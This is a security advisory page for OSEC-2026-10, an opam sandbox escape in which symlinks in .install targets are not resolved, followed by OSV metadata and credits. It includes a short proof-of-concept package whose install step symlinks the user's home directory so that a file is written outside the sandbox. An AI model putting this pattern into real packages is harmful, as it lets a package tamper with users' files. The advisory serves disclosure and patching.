osec-2026-10
Vulnerability from osv_ocaml
Published
2026-07-07 12:00
Modified
2026-07-07 12:00
Summary
opam install sandbox escape using symlinks
Details

Summary

Installing files through .install files do not check symlinks resolution of the target path, and so can bypass sandboxing.

Exploit

Let's imagine a test package whose test.install file looks like the following:

share_root: [
  "test" {"blah/pwnd"}
]

and test.opam file:

opam-version: "2.0"
install: ["sh" "-c" "ln -s \"$HOME\" \"%{share}%/blah\""]

Installing this package will write the pwnd file in the home directory of the current user, bypassing sandboxing.

Timeline

  • 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team
  • 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks
  • 2026-07-08: opam 2.5.2 was released with the fix
Credits
Kate Deplaix
Nathan Rebours
Raja Boujbel
Hannes Mehnert

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "opam-devel {\u003c \"2.5.2\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "opam-devel",
        "purl": "pkg:opam/opam-devel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "09c3df1ffb33cc0a09b3a81f36bb74898dce2120"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "248f8400e5ecb6ecbd7a672448477d08cedfdc24"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        }
      ],
      "versions": [
        "2.0~alpha5",
        "2.0.0~beta",
        "2.0.0~beta3",
        "2.0.0~beta3.1",
        "2.0.0~beta5",
        "2.0.0~rc",
        "2.0.0~rc2",
        "2.0.0~rc3",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9",
        "2.0.10",
        "2.1.0~beta2",
        "2.1.0~beta4",
        "2.1.0~rc",
        "2.1.0~rc2",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.0~alpha",
        "2.2.0~alpha2",
        "2.2.0~alpha3",
        "2.2.0~beta1",
        "2.2.0~beta2",
        "2.2.0~beta3",
        "2.2.0~rc1",
        "2.2.0",
        "2.2.1",
        "2.3.0~alpha1",
        "2.3.0~beta1",
        "2.3.0~beta2",
        "2.3.0~rc1",
        "2.3.0",
        "2.4.0~alpha1",
        "2.4.0~alpha2",
        "2.4.0~beta1",
        "2.4.0~rc1",
        "2.4.0",
        "2.4.1",
        "2.5.0~alpha1",
        "2.5.0~beta1",
        "2.5.0~rc1",
        "2.5.0",
        "2.5.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57825"
  ],
  "credits": [
    {
      "name": "Kate Deplaix",
      "type": "REPORTER"
    },
    {
      "name": "Nathan Rebours",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Raja Boujbel",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-693"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-10.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-10.json"
  },
  "details": "## Summary\n\nInstalling files through `.install` files do not check symlinks resolution of the target path, and so can bypass sandboxing.\n\n## Exploit\n\nLet\u0027s imagine a `test` package whose `test.install` file looks like the following:\n```\nshare_root: [\n  \"test\" {\"blah/pwnd\"}\n]\n```\nand `test.opam` file:\n```\nopam-version: \"2.0\"\ninstall: [\"sh\" \"-c\" \"ln -s \\\"$HOME\\\" \\\"%{share}%/blah\\\"\"]\n```\n\nInstalling this package will write the `pwnd` file in the home directory of the current user, bypassing sandboxing.\n\n## Timeline\n\n- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team\n- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks\n- 2026-07-08: opam 2.5.2 was released with the fix",
  "id": "OSEC-2026-10",
  "modified": "2026-07-07T12:00:00Z",
  "published": "2026-07-07T12:00:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7005"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7006"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opam install sandbox escape using symlinks"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…